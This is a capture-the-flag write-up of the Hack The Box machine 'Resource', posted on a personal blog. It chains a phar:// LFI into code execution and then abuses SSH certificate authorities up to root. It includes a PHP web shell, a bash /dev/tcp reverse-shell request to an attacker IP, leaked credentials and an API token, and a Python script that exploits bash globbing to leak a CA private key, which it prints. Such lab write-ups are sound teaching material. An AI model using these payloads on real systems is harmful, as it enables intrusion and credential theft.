Hackthebox: Resource

Foued SAIDI Lv4

Overview

Resource is a hard-difficulty linux machine from Hack The Box written by 0xdf. It initially deals with the phar:// php wrapper abuse in order to exploit an LFI to RCE to get us on system. Then we can get access to the ticket DataBase and find credentials for a user there granting us access to the old SSH certificate signing key, which is still valid and providing us wih root privileges. After that, we can find a script that interacts with the IT API for generating SSH certs that we exploit by sigining an SSH key to get into the main server. That’ll give us the auth_principal_name to for the API and generate a cert for that user. Finally, we can run a bash script vulnerable to Bash Globbing to generate certificate in order to leak that key, and generate an SSH certificate that gives root access to the main server.

Resource-info-card
Resource-info-card

Reconnaissance

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
PS C:\Users\0xkujen> nmap -A -Pn 10.129.231.118 
Starting Nmap 7.95 ( https://nmap.org ) at 2024-11-22 16:03 W. Central Africa Standard Time
Nmap scan report for 10.129.231.118
Host is up (0.45s latency).
Not shown: 997 filtered tcp ports (no-response)
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 9.2p1 Debian 2+deb12u3 (protocol 2.0)
| ssh-hostkey:
| 256 78:1e:3b:85:12:64:a1:f6:df:52:41:ad:8f:52:97:c0 (ECDSA)
|_ 256 e1:1a:b5:0e:87:a4:a1:81:69:94:9d:d4:d4:a3:8a:f9 (ED25519)
80/tcp open http nginx 1.18.0 (Ubuntu)
|_http-server-header: nginx/1.18.0 (Ubuntu)
|_http-title: Did not follow redirect to http://itrc.ssg.htb/
2222/tcp open ssh OpenSSH 8.9p1 Ubuntu 3ubuntu0.10 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 256 f2:a6:83:b9:90:6b:6c:54:32:22:ec:af:17:04:bd:16 (ECDSA)
|_ 256 0c:c3:9c:10:f5:7f:d3:e4:a8:28:6a:51:ad:1a:e1:bf (ED25519)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 80.77 seconds

We can see that we have ssh open on port 22, a web application deployed on the default port 80 and a weird ssh service open on port 2222.

Also port 80 is redirecting us to http://itrc.ssg.htb so let’s go ahead and add that entry to our /etc/hosts file and see what we have.

Web Application - http://itrc.ssg.htb

We see it’s a casual web app at start:

Web Application
Web Application

It has a login and registration features, let’s create an account and see what we have. Upon creating an account, we can create some sort of tickets:

Web Application
Web Application

The url we used to access this resource is http://itrc.ssg.htb/?page=create_ticket, maybe we could abuse the page parameter to get to other endpoints/functions/files??
Let’s fuzz that parameter using ffuf and see what we get:3

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
PS C:\Users\0xkujen\Desktop\Tools\ffuf_2.0.0_windows_amd64> .\ffuf.exe -w ..\SecLists-master\SecLists-master\Discovery\Web-Content\raft-medium-directories.txt  -u "http://itrc.ssg.htb/?page=FUZZ"  -fs 3120

/'___\ /'___\ /'___\
/\ \__/ /\ \__/ __ __ /\ \__/
\ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\
\ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/
\ \_\ \ \_\ \ \____/ \ \_\
\/_/ \/_/ \/___/ \/_/

v2.0.0
________________________________________________

:: Method : GET
:: URL : http://itrc.ssg.htb/?page=FUZZ
:: Wordlist : FUZZ: C:\Users\0xkujen\Desktop\Tools\SecLists-master\SecLists-master\Discovery\Web-Content\raft-medium-directories.txt
:: Follow redirects : false
:: Calibration : false
:: Timeout : 10
:: Threads : 40
:: Matcher : Response status: 200,204,301,302,307,401,403,405,500
:: Filter : Response size: 3120
________________________________________________

[Status: 200, Size: 1331, Words: 136, Lines: 26, Duration: 473ms]:00:02] :: Errors: 0 ::
* FUZZ: admin

[Status: 200, Size: 2842, Words: 255, Lines: 45, Duration: 4076ms]:00:06] :: Errors: 0 ::
* FUZZ: register

[Status: 200, Size: 2709, Words: 239, Lines: 44, Duration: 3367ms]:00:06] :: Errors: 0 ::
* FUZZ: login

[Status: 200, Size: 2627, Words: 196, Lines: 39, Duration: 3090ms]:00:06] :: Errors: 0 ::
* FUZZ: logout

[Status: 200, Size: 2276, Words: 158, Lines: 35, Duration: 2006ms]0:00:10] :: Errors: 0 ::
* FUZZ: db

[Status: 200, Size: 2276, Words: 158, Lines: 35, Duration: 1526ms]0:00:14] :: Errors: 0 ::
* FUZZ: index

[Status: 200, Size: 1331, Words: 136, Lines: 26, Duration: 2693ms]0:00:46] :: Errors: 0 ::
* FUZZ: dashboard

:: Progress: [1309/30000] :: Job [1/1] :: 22 req/sec :: Duration: [0:01:04] :: Errors: 0 ::

Local File Inclusion to RCE - http://itrc.ssg.htb

Doing some further testing on the page= parameter, we try to include some random file as we can assume that the web app is hosted over /var/www/itrc:

Web Application
Web Application

We’re back again to our create_ticket endpoint.

Uploading an empty ZIP file we can see it has been uploaded to http://itrc.ssg.htb/uploads/b04f3ee8f5e43fa3b162981b50bb72fe1acabb33.zip.
After creating a ticket, we can still add a comment. Inspecting the incoming traffic we see a new /api/create_comment.php endpoint. Therefore I think that maybe the real endpoint for our create_ticket can be /var/www/itrc/api/create_ticket.
We test that and we see this error when navigating to http://itrc.ssg.htb/?page=/var/www/itrc/api/create_ticket:

Web Application
Web Application

We get the error about session_start() which is a common issue in PHP application when the function is called multiple times, therefore we just called it again which confirms that we just found ourselves an LFI !! However, I couldn’t list any useful files.

PHAR Deserialization => Remote Code Execution

Since we now have an LFI and we know that this is a PHP application, I thought about abusing php wrappers like file://, phar:// etc..
Let’s try to make a malicious php code <?php system($_GET["cmd"]); ?> and zip it, upload it then include it using the phar wrapper and see what we got:

RCE
RCE

We can see an error about our cmd parameter in our shell.php file.
We try and run a simple id command through http://itrc.ssg.htb/?page=phar://uploads/8b611bcfa9eace994eee7a26d6d540dae76bfc85.zip/shell&cmd=id:

RCE
RCE

And we have RCE!!!

Let’s get a shell now: (we first have to encode our payload)

1
2
3
4
5
6
7
8
9
10
11
12
GET /?page=phar://uploads/8b611bcfa9eace994eee7a26d6d540dae76bfc85.zip/shell&cmd=/bin/bash+-c+'bash+-i+>%26+/dev/tcp/10.10.x.x/9001+0>%261' HTTP/1.1
Host: itrc.ssg.htb
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8
Sec-GPC: 1
Accept-Language: en-US,en;q=0.7
Accept-Encoding: gzip, deflate
Cookie: PHPSESSID=6731a9977ee8268e3a4d4c0dd18e7afb


And we get a shell:

1
2
3
4
5
6
7
8
9
PS C:\Users\0xkujen> nc -lvnp 9001
listening on [any] 9001 ...
connect to [10.10.x.x] from (UNKNOWN) [10.129.231.118] 43574
bash: cannot set terminal process group (1): Inappropriate ioctl for device
bash: no job control in this shell
www-data@itrc:/var/www/itrc$ id
id
uid=33(www-data) gid=33(www-data) groups=33(www-data)
www-data@itrc:/var/www/itrc$

Shell as msainristil

Checking the /uploads directory which has the uploaded zip file to the platform I thought it might have some juicy data like credentials. So checking the /home directory I can see that there is a user named msainristil, let’s see if we can find anything interesting about him:

1
2
3
4
5
www-data@itrc:/var/www/itrc/uploads$ for zip in ./*.zip; do zipgrep "msainristil" "$zip"; done
<p in ./*.zip; do zipgrep "msainristil" "$zip"; done
itrc.ssg.htb.har: "text": "user=msainristil&pass=82yards2closeit",
itrc.ssg.htb.har: "value": "msainristil"
www-data@itrc:/var/www/itrc/uploads$

And we do find credentials for him! And we’re in:

1
2
3
4
5
msainristil@itrc:~$ id
uid=1000(msainristil) gid=1000(msainristil) groups=1000(msainristil)
msainristil@itrc:~$


We can see that we have a Certificate Authority (CA) private key which can be used by a CA to sign digital certificates which allow us to authenticate the identity of users:

1
2
3
4
5
msainristil@itrc:~/decommission_old_ca$ ls
ca-itrc ca-itrc.pub
msainristil@itrc:~/decommission_old_ca$ cat ca-itrc.pub
ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQDoBD1UoFfL41g/FVX373rdm5WPz+SZ0bWt5PYP+dhok4vb3UpJPIGOeAsXmAkzEVYBHIiE+aGbrcXvDaSbZc6cI2aZfFraEPt080KVKHALAPgaOn/zFdld8P9yaENKBKltWLZ9I6rwg98IGEToB7JNZF9hzasjjD0IDKv8JQ3NwimDcZTc6Le0hJw52ANcLszteliFSyoTty9N/oUgTUjkFsgsroEh+Onz4buVD2bxoZ+9mODcdYTQ4ChwanfzFSnTrTtAQrJtyH/bDRTa2BpmdmYdQu+4HcbDl5NbiEwu1FNskz/YNDPkq3bEYEOvgMiu/0ZMy0wercx6Tn0G2cppS70/rG5GMcJi0WTcUic3k+XJ191WEG1EtXJNbZdtJc7Ky0EKhat0dgck8zpq62kejtkBQd86p6FvR8+xH3/JMxHvMNVYVODJt/MIik99sWb5Q7NCVcIXQ0ejVTzTI9QT27km/FUgl3cs5CZ4GIN7polPenQXEmdmbBOWD2hrlLs= ITRC Certifcate CA
msainristil@itrc:~/decommission_old_ca$

Now we can sign any other public keys so the system trusts us.
So let’s do that to pivot to the zzinter user:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
msainristil@itrc:~/decommission_old_ca$ ssh-keygen -t rsa -b 2048 -f kujen
Generating public/private rsa key pair.
Enter passphrase (empty for no passphrase):
Enter same passphrase again:
Your identification has been saved in kujen
Your public key has been saved in kujen.pub
The key fingerprint is:
SHA256:xlbHKHhfj8M+GHjZ2hwVtd7TIYYiFS0GbbCQgFofY4U msainristil@itrc
The key's randomart image is:
+---[RSA 2048]----+
| ...+oo+oo ...|
| .. E...o= +. ..|
|.. o o.o=.+.+o.o |
|. . o.=.*.+o +|
| S = * .oo|
| o . B o .|
| o = |
| . |
| |
+----[SHA256]-----+
msainristil@itrc:~/decommission_old_ca$ ssh-keygen -s ca-itrc -I ca-itrc.pub -n zzinter kujen.pub
Signed user key kujen-cert.pub: id "ca-itrc.pub" serial 0 for zzinter valid forever
msainristil@itrc:~/decommission_old_ca$

Now we can use this to simply ssh to zzinter:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
msainristil@itrc:~/decommission_old_ca$ ssh -o CertificateFile=kujen-cert.pub -i kujen zzinter@localhost
The authenticity of host 'localhost (127.0.0.1)' can't be established.
ED25519 key fingerprint is SHA256:jwOqtWAgCouRm8byeOkLtPI34AC53x/tydC2D3z9eFA.
This key is not known by any other names.
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added 'localhost' (ED25519) to the list of known hosts.
Linux itrc 5.15.0-117-generic #127-Ubuntu SMP Fri Jul 5 20:13:28 UTC 2024 x86_64

The programs included with the Debian GNU/Linux system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.

Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent
permitted by applicable law.
zzinter@itrc:~$ id
uid=1001(zzinter) gid=1001(zzinter) groups=1001(zzinter)
zzinter@itrc:~$ ls
sign_key_api.sh user.txt
zzinter@itrc:~$ cat user.txt
ce3e9aeda31076******************
zzinter@itrc:~$

And we have our user flag!

Pivoting to root - ITRC

We can do the same thing to escalat to root on the ITRC machine:

1
2
3
4
5
6
7
8
9
10
11
12
msainristil@itrc:~/decommission_old_ca$ ssh -o CertificateFile=kujen-cert.pub -i kujen root@localhost
Linux itrc 5.15.0-117-generic #127-Ubuntu SMP Fri Jul 5 20:13:28 UTC 2024 x86_64

The programs included with the Debian GNU/Linux system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.

Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent
permitted by applicable law.
root@itrc:~# id
uid=0(root) gid=0(root) groups=0(root)
root@itrc:~#

Pivoting to Support - SSG

Checking what zzinter had on his home directory, we find sign_key_api.sh file:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
#!/bin/bash

usage () {
echo "Usage: $0 <public_key_file> <username> <principal>"
exit 1
}

if [ "$#" -ne 3 ]; then
usage
fi

public_key_file="$1"
username="$2"
principal_str="$3"

supported_principals="webserver,analytics,support,security"
IFS=',' read -ra principal <<< "$principal_str"
for word in "${principal[@]}"; do
if ! echo "$supported_principals" | grep -qw "$word"; then
echo "Error: '$word' is not a supported principal."
echo "Choose from:"
echo " webserver - external web servers - webadmin user"
echo " analytics - analytics team databases - analytics user"
echo " support - IT support server - support user"
echo " security - SOC servers - support user"
echo
usage
fi
done

if [ ! -f "$public_key_file" ]; then
echo "Error: Public key file '$public_key_file' not found."
usage
fi

public_key=$(cat $public_key_file)

curl -s signserv.ssg.htb/v1/sign -d '{"pubkey": "'"$public_key"'", "username": "'"$username"'", "principals": "'"$principal"'"}' -H "Content-Type: application/json" -H "Authorization:Bearer 7Tqx6owMLtnt6oeR2ORbWmOPk30z4ZH901kH6UUT6vNziNqGrYgmSve5jCmnPJDE"

This script is being used to sign an ssh public key with certain principals using the signserv.ssg.htb web server.
In few words: The script takes a public key, a username and a principal (from the list) as parameters.
Now I will first create an RSA keypair:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
kujen@kujen:~$ ssh-keygen -t rsa -b 2048 -f key && chmod 600 key
Generating public/private rsa key pair.
Enter passphrase (empty for no passphrase):
Enter same passphrase again:
Your identification has been saved in key
Your public key has been saved in key.pub
The key fingerprint is:
SHA256:ZUFxr6fNHOTq80gmgi2klBriDdfJTSzoNyASA96jY80 kujen@kujen
The key's randomart image is:
+---[RSA 2048]----+
|= .+.. |
|.o. . . o . |
|.o = . o o o |
|. * =.= o + |
|.=.Eo*..S . + |
|o.=+.o.o B . |
| .... o o . = + |
| . . =.. |
| oo. |
+----[SHA256]-----+

Then make a request to the web server using that data:

1
2
3
4
5
root@itrc:~# curl -X 'POST'   'http://signserv.ssg.htb/v1/sign'   -H 'accept: text/plain'   -H 'Content-Type: application/json'   -H "Authorization:Bearer 7Tqx6owMLtnt6oeR2ORbWmOPk30z4ZH901kH6UUT6vNziNqGrYgmSve5jCmnPJDE"   -d '{
"pubkey": "ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCzy73EB1FRN+0qahalGNh2dvhcNIJuXeUV7ETqcnujYY5HcKq84aZoh2VdzpPwEnd/gu9wYnYrg5k9R+wbt84qFLM5Q0oBFZA6iquq3rI7jw5fBIVLHMVRl1Jl5EHz+Lx7oabGgjAT8xNwbGaMuSLMfgJlyRI6NKyFolsWOasXBHJpjtkMqVrSPrX/yI6Y9jE5WzrihV426Txy+EiH79QE/JiYjAeV0ViB6limHEiNLcOR7phwCc7Qnu+/j9+2GABfjGcutH7dk35EzY2nMD3iUAzYejSif1/HiPXuiuG+9ufDXrIEHVKVni0XLMR5E8vplx7ZSQmy4ZJJdah+6MT3 kujen@kujen",
"principals": "support",
"username": "support"
}'

We ssh now using the 2222 ssh port we saw earlier and we are support:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
kujen@kujen:~$ ssh -o CertificateFile=key-certificate.pub -i key [email protected] -p 2222
The authenticity of host '[ssg.htb]:2222 ([10.129.231.118]:2222)' can't be established.
ED25519 key fingerprint is SHA256:tOsmHdA7xDQq2UDyCf0EobZ/LcitevFrAQ6RSJCy10Q.
This key is not known by any other names.
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added '[ssg.htb]:2222' (ED25519) to the list of known hosts.
Welcome to Ubuntu 22.04.4 LTS (GNU/Linux 5.15.0-117-generic x86_64)

* Documentation: https://help.ubuntu.com
* Management: https://landscape.canonical.com
* Support: https://ubuntu.com/pro

System information as of Fri Nov 22 08:59:25 PM UTC 2024

System load: 0.0
Usage of /: 77.9% of 10.73GB
Memory usage: 16%
Swap usage: 0%
Processes: 245
Users logged in: 0
IPv4 address for eth0: 10.129.231.118
IPv6 address for eth0: dead:beef::250:56ff:feb9:7353


Expanded Security Maintenance for Applications is not enabled.

0 updates can be applied immediately.

Enable ESM Apps to receive additional future security updates.
See https://ubuntu.com/esm or run: sudo pro status


The list of available updates is more than a week old.
To check for new updates run: sudo apt update

support@ssg:~$ id
uid=1000(support) gid=1000(support) groups=1000(support)
support@ssg:~$

Pivoting to zzinter - SSG

We can see that this is the principal for zzinter:

1
2
3
4

support@ssg:~$ cat /etc/ssh/auth_principals/zzinter
zzinter_temp
support@ssg:~$

Let’s do the same we just did but for zzinter this time:

1
2
3
4
5
curl -X 'POST'   'http://signserv.ssg.htb/v1/sign'   -H 'accept: text/plain'   -H 'Content-Type: application/json'   -H "Authorization:Bearer 7Tqx6owMLtnt6oeR2ORbWmOPk30z4ZH901kH6UUT6vNziNqGrYgmSve5jCmnPJDE"   -d '{
"pubkey": "ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCzy73EB1FRN+0qahalGNh2dvhcNIJuXeUV7ETqcnujYY5HcKq84aZoh2VdzpPwEnd/gu9wYnYrg5k9R+wbt84qFLM5Q0oBFZA6iquq3rI7jw5fBIVLHMVRl1Jl5EHz+Lx7oabGgjAT8xNwbGaMuSLMfgJlyRI6NKyFolsWOasXBHJpjtkMqVrSPrX/yI6Y9jE5WzrihV426Txy+EiH79QE/JiYjAeV0ViB6limHEiNLcOR7phwCc7Qnu+/j9+2GABfjGcutH7dk35EzY2nMD3iUAzYejSif1/HiPXuiuG+9ufDXrIEHVKVni0XLMR5E8vplx7ZSQmy4ZJJdah+6MT3 kujen@kujen",
"principals": "zzinter_temp",
"username": "zzinter"
}'

And we’re in:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
support@ssg:~$ curl -X 'POST'   'http://signserv.ssg.htb/v1/sign'   -H 'accept: text/plain'   -H 'Content-Type: application/json'   -H "Authorization:Bearer 7Tqx6owMLtnt6oeR2ORbWmOPk30z4ZH901kH6UUT6vNziNqGrYgmSve5jCmnPJDE"   -d '{
"pubkey": "ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCzy73EB1FRN+0qahalGNh2dvhcNIJuXeUV7ETqcnujYY5HcKq84aZoh2VdzpPwEnd/gu9wYnYrg5k9R+wbt84qFLM5Q0oBFZA6iquq3rI7jw5fBIVLHMVRl1Jl5EHz+Lx7oabGgjAT8xNwbGaMuSLMfgJlyRI6NKyFolsWOasXBHJpjtkMqVrSPrX/yI6Y9jE5WzrihV426Txy+EiH79QE/JiYjAeV0ViB6limHEiNLcOR7phwCc7Qnu+/j9+2GABfjGcutH7dk35EzY2nMD3iUAzYejSif1/HiPXuiuG+9ufDXrIEHVKVni0XLMR5E8vplx7ZSQmy4ZJJdah+6MT3 kujen@kujen",
"principals": "zzinter_temp",
"username": "zzinter"
}'
[email protected] AAAAHHNzaC1yc2EtY2VydC12MDFAb3BlbnNzaC5jb20AAAAgjDYLYSfo0Wml9HYiiwIhwvBMqf15sOVvrilWH+ymMikAAAADAQABAAABAQCzy73EB1FRN+0qahalGNh2dvhcNIJuXeUV7ETqcnujYY5HcKq84aZoh2VdzpPwEnd/gu9wYnYrg5k9R+wbt84qFLM5Q0oBFZA6iquq3rI7jw5fBIVLHMVRl1Jl5EHz+Lx7oabGgjAT8xNwbGaMuSLMfgJlyRI6NKyFolsWOasXBHJpjtkMqVrSPrX/yI6Y9jE5WzrihV426Txy+EiH79QE/JiYjAeV0ViB6limHEiNLcOR7phwCc7Qnu+/j9+2GABfjGcutH7dk35EzY2nMD3iUAzYejSif1/HiPXuiuG+9ufDXrIEHVKVni0XLMR5E8vplx7ZSQmy4ZJJdah+6MT3AAAAAAAAACkAAAABAAAAB3p6aW50ZXIAAAAQAAAADHp6aW50ZXJfdGVtcAAAAABnN7gh//////////8AAAAAAAAAggAAABVwZXJtaXQtWDExLWZvcndhcmRpbmcAAAAAAAAAF3Blcm1pdC1hZ2VudC1mb3J3YXJkaW5nAAAAAAAAABZwZXJtaXQtcG9ydC1mb3J3YXJkaW5nAAAAAAAAAApwZXJtaXQtcHR5AAAAAAAAAA5wZXJtaXQtdXNlci1yYwAAAAAAAAAAAAAAMwAAAAtzc2gtZWQyNTUxOQAAACCB4PArnctUocmH6swtwDZYAHFu0ODKGbnswBPJjRUpsQAAAFMAAAALc3NoLWVkMjU1MTkAAABAJizu9Jxi1UNIiepI9Y19OnUAdXjWLnXz3eaRhPK71LHjp+FFKxALL5tiT2QiYbRO5mTqethohM4cNsaTnHgPAg== kujen@kujen
support@ssg:~$ exit
logout
Connection to ssg.htb closed.
kujen@kujen:~$ nano zzinter-certificate.pub
kujen@kujen:~$ ssh -o CertificateFile=zzinter-certificate.pub -i key [email protected] -p 2222
Welcome to Ubuntu 22.04.4 LTS (GNU/Linux 5.15.0-117-generic x86_64)

* Documentation: https://help.ubuntu.com
* Management: https://landscape.canonical.com
* Support: https://ubuntu.com/pro

System information as of Fri Nov 22 09:08:14 PM UTC 2024

System load: 0.11
Usage of /: 78.0% of 10.73GB
Memory usage: 16%
Swap usage: 0%
Processes: 248
Users logged in: 0
IPv4 address for eth0: 10.129.231.118
IPv6 address for eth0: dead:beef::250:56ff:feb9:7353


Expanded Security Maintenance for Applications is not enabled.

0 updates can be applied immediately.

Enable ESM Apps to receive additional future security updates.
See https://ubuntu.com/esm or run: sudo pro status


The list of available updates is more than a week old.
To check for new updates run: sudo apt update
Failed to connect to https://changelogs.ubuntu.com/meta-release-lts. Check your Internet connection or proxy settings


zzinter@ssg:~$ id
uid=1001(zzinter) gid=1001(zzinter) groups=1001(zzinter)
zzinter@ssg:~$

Privilege Escalation to root - SSG

Checking what zzinter can perform as sudo :

1
2
3
4
5
6
zzinter@ssg:~$ sudo -l
Matching Defaults entries for zzinter on ssg:
env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin, use_pty

User zzinter may run the following commands on ssg:
(root) NOPASSWD: /opt/sign_key.sh

We check the contents of this file:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
#!/bin/bash

usage () {
echo "Usage: $0 <ca_file> <public_key_file> <username> <principal> <serial>"
exit 1
}

if [ "$#" -ne 5 ]; then
usage
fi

ca_file="$1"
public_key_file="$2"
username="$3"
principal_str="$4"
serial="$5"

if [ ! -f "$ca_file" ]; then
echo "Error: CA file '$ca_file' not found."
usage
fi

itca=$(cat /etc/ssh/ca-it)
ca=$(cat "$ca_file")
if [[ $itca == $ca ]]; then
echo "Error: Use API for signing with this CA."
usage
fi

if [ ! -f "$public_key_file" ]; then
echo "Error: Public key file '$public_key_file' not found."
usage
fi

supported_principals="webserver,analytics,support,security"
IFS=',' read -ra principal <<< "$principal_str"
for word in "${principal[@]}"; do
if ! echo "$supported_principals" | grep -qw "$word"; then
echo "Error: '$word' is not a supported principal."
echo "Choose from:"
echo " webserver - external web servers - webadmin user"
echo " analytics - analytics team databases - analytics user"
echo " support - IT support server - support user"
echo " security - SOC servers - support user"
echo
usage
fi
done

if ! [[ $serial =~ ^[0-9]+$ ]]; then
echo "Error: '$serial' is not a number."
usage
fi

ssh-keygen -s "$ca_file" -z "$serial" -I "$username" -V -1w:forever -n "$principal" "$public_key_file"

This script allows us to sign a public key with the CA.
1- Usage check: Ensures exactly five arguments are passed: CA file, public key file, username, principal(s), and serial number.
2- File validation: Checks if the specified CA file and public key file exist.
3- Restricted CA: Prevents using a specific CA (/etc/ssh/ca-it) for signing, requiring an API instead.
4- Principal validation: Verifies the provided principal(s) against supported roles (webserver, analytics, support, security).
5- Serial validation: Ensures the serial is a numeric value.
6- Key signing: Uses ssh-keygen to sign the public key with the CA.

This script is vulnerable to Bash Globbing : it is comparing the ca-it key to our provided CA file to the one inside /etc/ssh therefore we can leak the original key by simply bruteforcing it adding the wildcard * at the end:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
import subprocess
import string


leak = ""

while True:
for char in "-" + string.ascii_letters + string.digits + "/+\n =":
with open('/home/zzinter/file', 'w') as f:
f.write(leak + char + "*")
res = subprocess.run(["sudo", "/opt/sign_key.sh", "/home/zzinter/file", "/etc/passwd", "kujen", "kujen", "1"], stdout=subprocess.PIPE, stderr=subprocess.PIPE)
if "Error: Use API for signing with this CA." in res.stdout.decode():
leak += char
print(char, end="", flush=True)
break
else:
break

print()

Now since we leaked the ca-it, we can use it to sign a new keypair for root user:

1
2
3
4
5
6
7
8
9
zzinter@ssg:~$ python3 exploit.py
-----BEGIN OPENSSH PRIVATE KEY-----
b3BlbnNzaC1rZXktdjEAAAAABG5vbmUAAAAEbm9uZQAAAAAAAAABAAAAMwAAAAtzc2gtZW
QyNTUxOQAAACCB4PArnctUocmH6swtwDZYAHFu0ODKGbnswBPJjRUpsQAAAKg7BlysOwZc
rAAAAAtzc2gtZWQyNTUxOQAAACCB4PArnctUocmH6swtwDZYAHFu0ODKGbnswBPJjRUpsQ
AAAEBexnpzDJyYdz+91UG3dVfjT/scyWdzgaXlgx75RjYOo4Hg8Cudy1ShyYfqzC3ANlgA
cW7Q4MoZuezAE8mNFSmxAAAAIkdsb2JhbCBTU0cgU1NIIENlcnRmaWNpYXRlIGZyb20gSV
QBAgM=
-----END OPENSSH PRIVATE KEY-----

And now connect to our root user and claim the root flag:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
zzinter@ssg:~$ ssh-keygen -t rsa -b 2048 -f root
Generating public/private rsa key pair.
Enter passphrase (empty for no passphrase):
Enter same passphrase again:
Your identification has been saved in root
Your public key has been saved in root.pub
The key fingerprint is:
SHA256:EZukaJMt5yB2o2q8Cc5uqwM2sAToLzwNpYkWto/Dpic zzinter@ssg
The key's randomart image is:
+---[RSA 2048]----+
|. o |
|oo . + o + |
|= O X + + |
|oX = B . |
|*.B . S |
|+% + |
|Bo= |
|E.+ |
|=@. |
+----[SHA256]-----+
zzinter@ssg:~$
zzinter@ssg:~$ ls
ca-it exploit.py kujen kujen.pub root.pub
ca-test file kujen-cert.pub root user.txt
zzinter@ssg:~$ ssh-keygen -s ca-it -z 1234 -I root -V -100w:forever -n root_user root.pub
Signed user key root-cert.pub: id "root" serial 1234 for root_user valid after 2022-12-24T15:59:38
zzinter@ssg:~$ ssh -o CertificateFile=root-cert.pub -i key root@localh
ost -p 2222
Warning: Identity file key not accessible: No such file or directory.
@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@
@ WARNING: UNPROTECTED PRIVATE KEY FILE! @
@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@
Permissions 0644 for 'root-cert.pub' are too open.
It is required that your private key files are NOT accessible by others.
This private key will be ignored.
Load key "root-cert.pub": bad permissions
root@localhost's password:

zzinter@ssg:~$ chmod 600 root-cert.pub
zzinter@ssg:~$ ssh -o CertificateFile=root-cert.pub -i key root@localhost -p 2222
Warning: Identity file key not accessible: No such file or directory.
Load key "root-cert.pub": error in libcrypto
root@localhost's password:

zzinter@ssg:~$ ssh -o CertificateFile=root-cert.pub -i root root@local
host -p 2222
Welcome to Ubuntu 22.04.4 LTS (GNU/Linux 5.15.0-117-generic x86_64)

* Documentation: https://help.ubuntu.com
* Management: https://landscape.canonical.com
* Support: https://ubuntu.com/pro

System information as of Sat Nov 23 04:00:48 PM UTC 2024

System load: 0.01
Usage of /: 90.5% of 10.73GB
Memory usage: 18%
Swap usage: 0%
Processes: 250
Users logged in: 1
IPv4 address for eth0: 10.129.231.118
IPv6 address for eth0: dead:beef::250:56ff:feb9:7353

=> / is using 90.5% of 10.73GB


Expanded Security Maintenance for Applications is not enabled.

0 updates can be applied immediately.

Enable ESM Apps to receive additional future security updates.
See https://ubuntu.com/esm or run: sudo pro status


The list of available updates is more than a week old.
To check for new updates run: sudo apt update
Failed to connect to https://changelogs.ubuntu.com/meta-release-lts. Check your Internet connection or proxy settings


root@ssg:~# id
uid=0(root) gid=0(root) groups=0(root)
root@ssg:~# cat root.txt
0fc6044116c5ff******************
root@ssg:~#

That was it for Resource! Hope you liked it.
-0xkujen

  • Title: Hackthebox: Resource
  • Author: Foued SAIDI
  • Created at : 2024-11-22 15:55:55
  • Updated at : 2024-11-23 17:01:53
  • Link: https://kujen5.github.io/2024/11/22/Hackthebox-Resource/
  • License: This work is licensed under CC BY-NC-SA 4.0.